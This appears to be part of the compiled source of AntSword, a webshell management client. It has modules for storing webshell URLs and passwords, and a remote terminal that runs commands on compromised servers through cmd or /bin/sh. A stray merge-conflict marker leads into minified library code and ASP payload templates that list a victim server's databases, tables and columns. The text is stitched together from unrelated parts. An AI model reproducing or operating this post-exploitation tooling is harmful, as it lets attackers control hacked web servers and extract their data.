value: _,
selected: _ === data['encode']
});
});
return ret;
}() }, { type: 'combo', label: LANG['list']['edit']['form']['type'], name: 'type', readonly: true, options: function () {
var ret = [];
[{ name: 'php', encoder: ['base64', 'chr'] }, { name: 'asp', encoder: [] }, { name: 'aspx', encoder: [] }, { name: 'custom', encoder: ['base64', 'hex'] }].map(function (_) {
var obj = {
text: _['name'].toUpperCase(),
value: _['name'],
selected: data['type'] === _['name'],
list: [{ type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, { type: 'label', label: LANG['list']['edit']['form']['encoder'] }, { type: 'radio', name: 'encoder_' + _['name'], value: 'default', label: 'default', checked: data['encoder'] === 'default' || _['name'] !== data['type'] || !_['encoder'].indexOf(data['encoder']) }]
};
// 编码器对象
_['encoder'].map(function (e) {
obj['list'].push({
type: 'radio',
name: 'encoder_' + _['name'],
value: e,
label: e,
checked: data['encoder'] === e
});
});
ret.push(obj);
});
return ret;
}() }] }], true);
// toolbar点击
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'save':
// 添加数据
// 判断表单数据
if (!form.validate()) {
return toastr.warning(LANG['list']['edit']['warning'], LANG_T['warning']);
};
// 解析数据
var data = form.getValues();
data['_id'] = sid;
win.progressOn();
// 获取编码器
data['encoder'] = data['encoder_' + data['type']] ? data['encoder_' + data['type']] : '';
// 获取分类
data['category'] = _this2.category['sidebar'].getActiveItem() || 'default';
var ret = antSword['ipcRenderer'].sendSync('shell-edit', data);
// 更新UI
win.progressOff();
if (typeof ret === 'number') {
win.close();
toastr.success(LANG['list']['edit']['success'], LANG_T['success']);
_this2.loadData({
category: data['category']
});
} else {
toastr.error(LANG['list']['edit']['error'](ret.toString()), LANG_T['error']);
}
break;
case 'clear':
// 清空表单
form.clear();
break;
}
});
}
// 删除数据
}, {
key: 'delData',
value: function delData(ids) {
var _this3 = this;
layer.confirm(LANG['list']['del']['confirm'](ids.length), {
icon: 2, shift: 6,
title: '<i class="fa fa-trash"></i> ' + LANG['list']['del']['title']
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('shell-del', ids);
if (typeof ret === 'number') {
toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']);
// 更新UI
_this3.loadData({
category: _this3.category['sidebar'].getActiveItem() || 'default'
});
} else {
toastr.error(LANG['list']['del']['error'](ret.toString()), LANG_T['error']);
}
});
}
// 搜索数据
}, {
key: 'searchData',
value: function searchData() {
// 判断当前tab是否在主页
if (antSword['tabbar'].getActiveTab() !== 'tab_shellmanager') {
this.cell.setActive();
};
var category = this.category['sidebar'].getActiveItem() || 'default';
// 初始化窗口
var win = this.createWin({
title: '搜索数据 //' + category,
width: 450,
height: 350
});
}
// 加载数据
}, {
key: 'loadData',
value: function loadData(arg) {
// 获取当前分类
// const _category = this.category.sidebar.getActiveItem() || 'default';
// 根据分类查询数据
var ret = antSword['ipcRenderer'].sendSync('shell-find', arg || {});
var category = {};
// 解析数据
var data = [];
ret.map(function (_) {
category[_['category'] || 'default'] = category[_['category'] || 'default'] || 0;
category[_['category'] || 'default']++;
if (arg instanceof Object && arg['category'] && arg['category'] !== _['category']) {
return;
};
if (!arg && _['category'] !== 'default') {
return;
};
data.push({
id: _['_id'],
// pwd: _['pwd'],
// type: _['type'],
// encode: _['encode'] || 'utf8',
// encoder: _['encoder'] || 'default',
data: [_['url'], _['ip'], _['addr'], new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'), new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss')]
});
});
// 刷新UI::左侧数据
this.list.grid.clearAll();
this.list.grid.parse({
'rows': data
}, 'json');
// 刷新UI::右侧目录
if (arg instanceof Object && arg['category'] && !category[arg['category']]) {
category[arg['category']] = 0;
};
if (_typeof(category['default']) === 'object') {
category['default'] = 0;
};
// 1. 判断目录是否存在？更新目录bubble：添加目录
for (var c in category) {
// 添加category
if (!this.category['sidebar'].items(c)) {
this.category['sidebar'].addItem({
id: c,
bubble: category[c],
// selected: true,
text: '<i class="fa fa-folder-o"></i> ' + c
});
} else {
this.category['sidebar'].items(c).setBubble(category[c]);
}
}
// 2. 选中默认分类
this.category['sidebar'].items((arg || {})['category'] || 'default').setActive();
// 3. 更新标题
this.list.updateTitle(data.length);
this.category.updateTitle();
}
// 创建窗口
}, {
key: 'createWin',
value: function createWin(opts) {
var _id = String(Math.random()).substr(5, 10);
// 默认配置
var opt = $.extend({
title: 'Window:' + _id,
width: 550,
height: 450
}, opts);
// 创建窗口
var _win = this.win.createWindow(_id, 0, 0, opt['width'], opt['height']);
_win.setText(opt['title']);
_win.centerOnScreen();
_win.button('minmax').show();
_win.button('minmax').enable();
// 返回窗口对象
return _win;
}
}]);
return ShellManager;
}();
exports.default = ShellManager;
/***/ },
/* 91 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); //
// 左侧shell数据管理模块
//
// import Db from '../../database/';
var _terminal = __webpack_require__(92);
var _terminal2 = _interopRequireDefault(_terminal);
var _database = __webpack_require__(77);
var _database2 = _interopRequireDefault(_database);
var _filemanager = __webpack_require__(80);
var _filemanager2 = _interopRequireDefault(_filemanager);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['shellmanager'];
var List = function () {
function List(cell, manager) {
_classCallCheck(this, List);
// cell.hideHeader();
// cell.setText(`<i class="fa fa-list-ul"></i> ${LANG['list']['title']}`);
// 删除折叠按钮
document.getElementsByClassName('dhxlayout_arrow dhxlayout_arrow_va')[0].remove();
// 初始化工具栏
// const toolbar = cell.attachToolbar();
// toolbar.loadStruct([
// { id: 'add', type: 'button', text: `<i class="fa fa-plus-circle"></i> ${LANG.list.toolbar['add']}` },
// { type: 'separator' },
// { id: 'edit', type: 'button', text: `<i class="fa fa-edit"></i> ${LANG.list.toolbar['edit']}` }
// ]);
// 初始化数据表格
var grid = cell.attachGrid();
grid.setHeader('\n ' + LANG['list']['grid']['url'] + ',\n ' + LANG['list']['grid']['ip'] + ',\n ' + LANG['list']['grid']['addr'] + ',\n ' + LANG['list']['grid']['ctime'] + ',\n ' + LANG['list']['grid']['utime'] + '\n ');
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setColSorting('str,str,str,str,str');
grid.setInitWidths("200,120,*,140,140");
grid.setColAlign("left,left,left,center,center");
grid.enableMultiselect(true);
// 右键
grid.attachEvent('onRightClick', function (id, lid, event) {
// 获取选中ID列表
var ids = (grid.getSelectedId() || '').split(',');
// 如果没有选中？则选中右键对应选项
if (ids.length === 1) {
grid.selectRowById(id);
ids = [id];
}
// 获取选中的单条数据
var info = {};
if (id && ids.length === 1) {
info = antSword['ipcRenderer'].sendSync('shell-findOne', id);
// info = {
// id: id,
// ip: grid.getRowAttribute(id, 'data')[1],
// url: grid.getRowAttribute(id, 'data')[0],
// pwd: grid.getRowAttribute(id, 'pwd'),
// type: grid.getRowAttribute(id, 'type'),
// encode: grid.getRowAttribute(id, 'encode') || 'utf-8',
// encoder: grid.getRowAttribute(id, 'encoder') || 'default'
// }
};
bmenu([{ text: LANG['contextmenu']['terminal'], icon: 'fa fa-terminal', disabled: !id || ids.length !== 1, action: function action() {
new _terminal2.default(info);
} }, { text: LANG['contextmenu']['filemanager'], icon: 'fa fa-folder-o', disabled: !id || ids.length !== 1, action: function action() {
new _filemanager2.default(info);
} }, { text: LANG['contextmenu']['database'], icon: 'fa fa-database', disabled: !id || ids.length !== 1, action: function action() {
new _database2.default(info);
} }, { divider: true }, { text: LANG['contextmenu']['plugin'], icon: 'fa fa-puzzle-piece', disabled: !id || ids.length !== 1 || true, subMenu: [] }, { text: LANG['contextmenu']['pluginCenter'], icon: 'fa fa-cart-arrow-down', action: antSword['menubar'].run.bind(antSword['menubar'], 'plugin') }, { divider: true }, { text: LANG['contextmenu']['add'], icon: 'fa fa-plus-circle', action: manager.addData.bind(manager) }, { text: LANG['contextmenu']['edit'], icon: 'fa fa-edit', disabled: !id || ids.length !== 1, action: function action() {
manager.editData(id);
} }, { text: LANG['contextmenu']['delete'], icon: 'fa fa-remove', disabled: !id, action: function action() {
manager.delData(ids);
} }, { divider: true }, { text: LANG['contextmenu']['move'], icon: 'fa fa-share-square', disabled: !id, subMenu: function () {
var items = manager.category.sidebar.getAllItems();
var category = manager.category.sidebar.getActiveItem();
var ret = [];
items.map(function (_) {
ret.push({
text: _ === 'default' ? LANG['category']['default'] : _,
icon: 'fa fa-folder-o',
disabled: category === _,
action: function (c) {
return function () {
var ret = antSword['ipcRenderer'].sendSync('shell-move', {
ids: ids,
category: c
});
if (typeof ret === 'number') {
toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']);
manager.loadData();
manager.category.sidebar.callEvent('onSelect', [c]);
} else {
toastr.error(LANG['list']['move']['error'](ret), LANG_T['error']);
}
};
}(_)
});
});
return ret;
}() }, { text: LANG['contextmenu']['search'], icon: 'fa fa-search', action: manager.searchData.bind(manager), disabled: true }, { divider: true }, { text: LANG['contextmenu']['clearCache'], icon: 'fa fa-trash-o', disabled: !id, action: function action() {
manager.clearCache(id);
} }, { text: LANG['contextmenu']['clearAllCache'], icon: 'fa fa-trash', action: manager.clearAllCache.bind(manager) }], event);
return true;
});
// 双击
grid.attachEvent('onRowDblClicked', function (id) {
var info = antSword['ipcRenderer'].sendSync('shell-findOne', id);
new _filemanager2.default(info);
});
// 隐藏右键菜单
grid.attachEvent('onRowSelect', bmenu.hide);
$('.objbox').on('click', bmenu.hide);
$('.objbox').on('contextmenu', function (e) {
e.target.nodeName === 'DIV' && grid.callEvent instanceof Function ? grid.callEvent('onRightClick', [grid.getSelectedRowId(), '', e]) : 0;
});
grid.init();
// 变量赋值
this.grid = grid;
this.cell = cell;
this.toolbar = toolbar;
}
// 更新标题
_createClass(List, [{
key: 'updateTitle',
value: function updateTitle(num) {
this.cell.setText('<i class="fa fa-list-ul"></i> ' + LANG['list']['title'] + ' (' + num + ')');
}
}]);
return List;
}();
exports.default = List;
/***/ },
/* 92 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 虚拟终端模块
//
// import React from 'react';
// import ReactDOM from 'react-dom';
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['terminal'];
// const ipcRenderer = antSword['ipcRenderer'];
var Terminal = function () {
function Terminal(opts) {
var _this = this;
_classCallCheck(this, Terminal);
var tabbar = antSword['tabbar'];
var hash = String(Math.random()).substr(2, 10);
tabbar.addTab('tab_terminal_' + hash,
// `<i class="fa fa-terminal"></i> ${LANG['title']} \/\/ ${opts['ip']}`,
'<i class="fa fa-terminal"></i> ' + opts['ip'], null, null, true, true);
tabbar.attachEvent('onTabClick', function (id, lid) {
if (id === 'tab_terminal_' + hash) {
_this.term ? _this.term.focus() : 0;
};
});
var cell = tabbar.cells('tab_terminal_' + hash);
// ReactDOM.render(
// <div id={`div_terminal_${hash}`} style={{
// height: '100%',
// margin: '0',
// padding: '0px 5px 1px 5px',
// overflow: 'scroll'
// }} />
// , cell.cell
// );
cell.attachHTMLString('\n <div id="div_terminal_' + hash + '" style="height:100%;margin:0;padding:0 5px 1px 5px;overflow:scroll"></div>\n ');
this.path = '';
this.opts = opts;
this.hash = hash;
this.term = null;
this.cell = cell;
this.isWin = true;
this.core = new antSword['core'][opts['type']](opts);
this.cache = new antSword['CacheManager'](this.opts['_id']);
// this.initTerminal($(`#div_terminal_${hash}`));
// 获取缓存::info
var dom = $('#div_terminal_' + hash);
var cache_info = this.cache.get('info');
if (cache_info) {
this.initTerminal(cache_info, dom);
} else {
this.cell.progressOn();
this.core.base.info(function (ret) {
_this.cell.progressOff();
// 判断获取数据是否正确
// let info = ret.split('\t');
// if (info.length !== 4) {
// toastr.error('Loading infomations failed!', LANG_T['error']);
// return this.cell.close();
// };
// 更新缓存
_this.cache.set('info', ret);
// ipcRenderer.sendSync('cache-add', {
// id: this.opts['id'],
// tag: 'info',
// cache: ret
// });
// 初始化终端
_this.initTerminal(ret, dom);
}, function (err) {
toastr.error((typeof err === 'undefined' ? 'undefined' : _typeof(err)) === 'object' ? JSON.stringify(err) : String(err), LANG_T['error']);
_this.cell.progressOff();
_this.cell.close();
});
}
}
// 初始化终端
_createClass(Terminal, [{
key: 'initTerminal',
value: function initTerminal(ret, dom) {
var _this2 = this;
// this.cell.progressOn();
// // 获取缓存info
// const _info = ipcRenderer.sendSync('cache-get', {
// id: this.opts['id'],
// tag: 'info'
// });
// this.core.base.info((ret) => {
// this.cell.progressOff();
var info = ret.split('\t');
var info_user = void 0;
var info_path = void 0;
var info_drive = void 0;
var info_system = void 0;
// 解析banner
var banner = '[[b;cyan;](*) ' + LANG['banner']['title'] + ']';
// 判断获取数据是否正确
if (info.length === 4) {
info_user = info[3];
info_path = info[0];
info_drive = info[1];
info_system = info[2];
} else if (info.length === 2) {
info_path = info[0];
info_drive = info[1];
} else {
toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']);
this.cache.del('info');
return this.cell.close();
};
info_path = info_path.replace(/\\/g, '/').replace(/\.$/, '');
// 判断是否为linux
if (info_path.substr(0, 1) === '/') {
this.isWin = false;
};
this.path = info_path;
banner += '\n[[b;#99A50D;]' + LANG['banner']['path'] + ']: [[;#C3C3C3;]' + info_path + ']';
banner += '\n[[b;#99A50D;]' + LANG['banner']['drive'] + ']: [[;#C3C3C3;]' + info_drive + ']';
if (info.length === 4) {
banner += '\n[[b;#99A50D;]' + LANG['banner']['system'] + ']: [[;#C3C3C3;]' + info_system + ']';
banner += '\n[[b;#99A50D;]' + LANG['banner']['user'] + ']: [[;#C3C3C3;]' + info_user + ']';
}
// 初始化终端
this.term = dom.terminal(function (cmd, term) {
if (!cmd) {
return false;
};
// 如果为exit||quit则关闭窗口
if (cmd === 'exit' || cmd === 'quit') {
return _this2.cell.close();
};
term.pause();
// 是否有缓存
var cache_tag = 'command-' + new Buffer(_this2.path + cmd).toString('base64');
var cache_cmd = void 0;
if (cache_cmd = _this2.cache.get(cache_tag)) {
term.echo(cache_cmd);
return term.resume();
};
_this2.core.command.exec({
cmd: _this2.parseCmd(cmd, _this2.path),
bin: _this2.isWin ? 'cmd' : '/bin/sh'
}, function (_) {
// 解析出命令执行路径
var index_s = _.indexOf('[S]');
var index_e = _.lastIndexOf('[E]');
var _path = _.substr(index_s + 3, index_e - index_s - 3);
// let _sindex = _.indexOf('[S]') + 3;
// let _eindex = _.indexOf('[E]');
// let _path = _.substr(_sindex, _eindex - _sindex);
var output = _.replace('[S]' + _path + '[E]', '');
_path = _path.replace(/\n/g, '').replace(/\r/g, '');
_this2.path = _path || _this2.path;
term.set_prompt(_this2.parsePrompt(info_user));
// let output = _.substr(0, _sindex - 3).replace(/\n$/, '');
// 去除换行符
[/\n\n$/, /^\n\n/, /\r\r$/, /^\r\r/, /\r\n$/, /^\r\n/, /\n\r$/, /^\n\r/, /\r$/, /^\r/, /\n$/, /^\n/].map(function (_) {
output = output.replace(_, '');
});
// output = output.replace(/\n$/, '').replace(/^\n/, '').replace(/^\r/, '').replace(/\r$/, '').;
if (output.length > 0) {
term.echo(output);
// 保存最大100kb数据
if (output.length < 1024 * 1024) {
_this2.cache.set(cache_tag, output);
};
};
term.resume();
}, function (_) {
term.error( true ? JSON.stringify(_) : String(_));
term.resume();
});
}, {
greetings: banner,
name: 'terminal_' + this.hash,
prompt: this.parsePrompt(info_user),
exit: false
});
// }, (err) => {
// toastr.error(err, LANG_T['error']);
// this.cell.progressOff();
// this.cell.close();
// });
}
// 生成CMD代码
}, {
key: 'parseCmd',
value: function parseCmd(cmd, path) {
path = path.replace(/\\\\/g, '\\').replace(/"/g, '\\"').replace(/\\/g, '\\\\');
return this.isWin ? 'cd /d "' + path + '"&' + cmd + '&echo [S]&cd&echo [E]' : 'cd "' + path + '";' + cmd + ';echo [S];pwd;echo [E]';
}
// 生成路径提示
}, {
key: 'parsePrompt',
value: function parsePrompt(user) {
return this.isWin ? '[[b;white;]' + this.path.replace(/\//g, '\\') + '> ]' : (user ? '([[b;#E80000;]' + user + ']:[[;#0F93D2;]' : '[[;0F93D2;]') + this.path + ']) $ ';
}
}]);
return Terminal;
}();
exports.default = Terminal;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 93 */
/***/ function(module, exports) {
//
// 右侧目录管理模块
//
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['shellmanager'];
var Category = function () {
function Category(cell, manager) {
var _this = this;
_classCallCheck(this, Category);
// cell.setText(`<i class="fa fa-folder"></i> ${LANG['category']['title']}`);
cell.setWidth(222);
cell.fixSize(1, 0);
// 初始化toolbar
var toolbar = cell.attachToolbar();
toolbar.loadStruct([{ id: 'add', type: 'button', text: '<i class="fa fa-plus-circle"></i> ' + LANG['category']['toolbar']['add'] }, { type: 'separator' }, { id: 'del', type: 'button', text: '<i class="fa fa-trash"></i> ' + LANG['category']['toolbar']['del'], disabled: true }]);
// toolbar点击
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'add':
// 添加分类
layer.prompt({
title: '<i class="fa fa-plus-circle"></i> ' + LANG['category']['add']['title'],
value: new Date().format('yyyyMMdd')
}, function (value, index, ele) {
layer.close(index);
sidebar.callEvent('onSelect', [value]);
});
break;
case 'del':
// 删除分类
var category = sidebar.getActiveItem();
layer.confirm(LANG['category']['del']['confirm'], {
icon: 2, shift: 6,
// skin: 'layui-layer-molv',
title: '<i class="fa fa-trash"></i> ' + LANG['category']['del']['title']
}, function (_) {
layer.close(_);
// 1. 删除分类数据
var ret = antSword['ipcRenderer'].sendSync('shell-clear', category);
if (typeof ret === 'number') {
toastr.success(LANG['category']['del']['success'](category), LANG_T['success']);
// 2. 跳转到默认分类
sidebar.callEvent('onSelect', ['default']);
// 3. 删除侧边栏
sidebar.items(category).remove();
setTimeout(_this.updateTitle.bind(_this), 100);
} else {
return toastr.error(LANG['category']['del']['error'](category, ret.toString()), LANG_T['error']);
}
});
break;
}
});
// 初始化sidebar
var sidebar = cell.attachSidebar({
template: 'text',
width: 222
});
// 默认分类
sidebar.addItem({
id: 'default',
bubble: 0,
selected: true,
text: '<i class="fa fa-folder-o"></i> ' + LANG['category']['default'] + '</i>'
});
// sidebar点击事件
sidebar.attachEvent('onSelect', function (id) {
// 更改删除按钮状态
toolbar[id === 'default' ? 'disableItem' : 'enableItem']('del');
manager.loadData({
category: id
});
});
this.cell = cell;
this.toolbar = toolbar;
this.sidebar = sidebar;
}
// 更新标题
_createClass(Category, [{
key: 'updateTitle',
value: function updateTitle() {
var num = this.sidebar.getAllItems().length;
this.cell.setText('<i class="fa fa-folder"></i> ' + LANG['category']['title'] + ' (' + num + ')');
}
}]);
return Category;
}();
exports.default = Category;
/***/ }
/******/ ]);
=======
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t=+t,r=0|r,n||D(this,t,r,1,255,0),e.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),this[r]=255&t,r+1},e.prototype.writeUInt16LE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,2,65535,0),e.TYPED_ARRAY_SUPPORT?(this[r]=255&t,this[r+1]=t>>>8):k(this,t,r,!0),r+2},e.prototype.writeUInt16BE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,2,65535,0),e.TYPED_ARRAY_SUPPORT?(this[r]=t>>>8,this[r+1]=255&t):k(this,t,r,!1),r+2},e.prototype.writeUInt32LE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,4,4294967295,0),e.TYPED_ARRAY_SUPPORT?(this[r+3]=t>>>24,this[r+2]=t>>>16,this[r+1]=t>>>8,this[r]=255&t):P(this,t,r,!0),r+4},e.prototype.writeUInt32BE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,4,4294967295,0),e.TYPED_ARRAY_SUPPORT?(this[r]=t>>>24,this[r+1]=t>>>16,this[r+2]=t>>>8,this[r+3]=255&t):P(this,t,r,!1),r+4},e.prototype.writeIntLE=function(e,t,r,n){if(e=+e,t=0|t,!n){var a=Math.pow(2,8*r-1);D(this,e,t,r,a-1,-a)}var s=0,o=1,i=0>e?1:0;for(this[t]=255&e;++s<r&&(o*=256);)this[t+s]=(e/o>>0)-i&255;return t+r},e.prototype.writeIntBE=function(e,t,r,n){if(e=+e,t=0|t,!n){var a=Math.pow(2,8*r-1);D(this,e,t,r,a-1,-a)}var s=r-1,o=1,i=0>e?1:0;for(this[t+s]=255&e;--s>=0&&(o*=256);)this[t+s]=(e/o>>0)-i&255;return t+r},e.prototype.writeInt8=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,1,127,-128),e.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),0>t&&(t=255+t+1),this[r]=255&t,r+1},e.prototype.writeInt16LE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,2,32767,-32768),e.TYPED_ARRAY_SUPPORT?(this[r]=255&t,this[r+1]=t>>>8):k(this,t,r,!0),r+2},e.prototype.writeInt16BE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,2,32767,-32768),e.TYPED_ARRAY_SUPPORT?(this[r]=t>>>8,this[r+1]=255&t):k(this,t,r,!1),r+2},e.prototype.writeInt32LE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,4,2147483647,-2147483648),e.TYPED_ARRAY_SUPPORT?(this[r]=255&t,this[r+1]=t>>>8,this[r+2]=t>>>16,this[r+3]=t>>>24):P(this,t,r,!0),r+4},e.prototype.writeInt32BE=function(t,r,n){return t=+t,r=0|r,n||D(this,t,r,4,2147483647,-2147483648),0>t&&(t=4294967295+t+1),e.TYPED_ARRAY_SUPPORT?(this[r]=t>>>24,this[r+1]=t>>>16,this[r+2]=t>>>8,this[r+3]=255&t):P(this,t,r,!1),r+4},e.prototype.writeFloatLE=function(e,t,r){return W(this,e,t,!0,r)},e.prototype.writeFloatBE=function(e,t,r){return W(this,e,t,!1,r)},e.prototype.writeDoubleLE=function(e,t,r){return j(this,e,t,!0,r)},e.prototype.writeDoubleBE=function(e,t,r){return j(this,e,t,!1,r)},e.prototype.copy=function(t,r,n,a){if(n||(n=0),a||0===a||(a=this.length),r>=t.length&&(r=t.length),r||(r=0),a>0&&n>a&&(a=n),a===n)return 0;if(0===t.length||0===this.length)return 0;if(0>r)throw new RangeError("targetStart out of bounds");if(0>n||n>=this.length)throw new RangeError("sourceStart out of bounds");if(0>a)throw new RangeError("sourceEnd out of bounds");a>this.length&&(a=this.length),t.length-r<a-n&&(a=t.length-r+n);var s,o=a-n;if(this===t&&r>n&&a>r)for(s=o-1;s>=0;s--)t[s+r]=this[s+n];else if(1e3>o||!e.TYPED_ARRAY_SUPPORT)for(s=0;o>s;s++)t[s+r]=this[s+n];else t._set(this.subarray(n,n+o),r);return o},e.prototype.fill=function(e,t,r){if(e||(e=0),t||(t=0),r||(r=this.length),t>r)throw new RangeError("end < start");if(r!==t&&0!==this.length){if(0>t||t>=this.length)throw new RangeError("start out of bounds");if(0>r||r>this.length)throw new RangeError("end out of bounds");var n;if("number"==typeof e)for(n=t;r>n;n++)this[n]=e;else{var a=U(e.toString()),s=a.length;for(n=t;r>n;n++)this[n]=a[n%s]}return this}},e.prototype.toArrayBuffer=function(){if("undefined"!=typeof Uint8Array){if(e.TYPED_ARRAY_SUPPORT)return new e(this).buffer;for(var t=new Uint8Array(this.length),r=0,n=t.length;n>r;r+=1)t[r]=this[r];return t.buffer}throw new TypeError("Buffer.toArrayBuffer not supported in this browser")};var K=e.prototype;e._augment=function(t){return t.constructor=e,t._isBuffer=!0,t._set=t.set,t.get=K.get,t.set=K.set,t.write=K.write,t.toString=K.toString,t.toLocaleString=K.toString,t.toJSON=K.toJSON,t.equals=K.equals,t.compare=K.compare,t.indexOf=K.indexOf,t.copy=K.copy,t.slice=K.slice,t.readUIntLE=K.readUIntLE,t.readUIntBE=K.readUIntBE,t.readUInt8=K.readUInt8,t.readUInt16LE=K.readUInt16LE,t.readUInt16BE=K.readUInt16BE,t.readUInt32LE=K.readUInt32LE,t.readUInt32BE=K.readUInt32BE,t.readIntLE=K.readIntLE,t.readIntBE=K.readIntBE,t.readInt8=K.readInt8,t.readInt16LE=K.readInt16LE,t.readInt16BE=K.readInt16BE,t.readInt32LE=K.readInt32LE,t.readInt32BE=K.readInt32BE,t.readFloatLE=K.readFloatLE,t.readFloatBE=K.readFloatBE,t.readDoubleLE=K.readDoubleLE,t.readDoubleBE=K.readDoubleBE,t.writeUInt8=K.writeUInt8,t.writeUIntLE=K.writeUIntLE,t.writeUIntBE=K.writeUIntBE,t.writeUInt16LE=K.writeUInt16LE,t.writeUInt16BE=K.writeUInt16BE,t.writeUInt32LE=K.writeUInt32LE,t.writeUInt32BE=K.writeUInt32BE,t.writeIntLE=K.writeIntLE,t.writeIntBE=K.writeIntBE,t.writeInt8=K.writeInt8,t.writeInt16LE=K.writeInt16LE,t.writeInt16BE=K.writeInt16BE,t.writeInt32LE=K.writeInt32LE,t.writeInt32BE=K.writeInt32BE,t.writeFloatLE=K.writeFloatLE,t.writeFloatBE=K.writeFloatBE,t.writeDoubleLE=K.writeDoubleLE,t.writeDoubleBE=K.writeDoubleBE,t.fill=K.fill,t.inspect=K.inspect,t.toArrayBuffer=K.toArrayBuffer,t};var ee=/[^+\/0-9A-Za-z-_]/g}).call(t,r(1).Buffer,function(){return this}())},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){return"0x"+(Math.random()+Math.random()).toString(16).substr(2)};t.arg1=r(),t.arg2=r(),t.arg3=r(),t.arg4=r(),t.arg5=r(),t.arg6=r()},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){return"0x"+(Math.random()+Math.random()).toString(16).substr(2)};t.arg1=r(),t.arg2=r(),t.arg3=r(),t.arg4=r(),t.arg5=r(),t.arg6=r()},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){return"0x"+(Math.random()+Math.random()).toString(16).substr(2)};t.arg1=r(),t.arg2=r(),t.arg3=r(),t.arg4=r(),t.arg5=r(),t.arg6=r()},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o=r(2);e.exports={show_databases:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("'+o.arg1+'")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},o.arg1,"#{hex::conn}"),show_tables:n({_:'Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("'+o.arg1+'"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)'},o.arg1,"#{hex::conn}"),show_columns:(a={_:'Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim 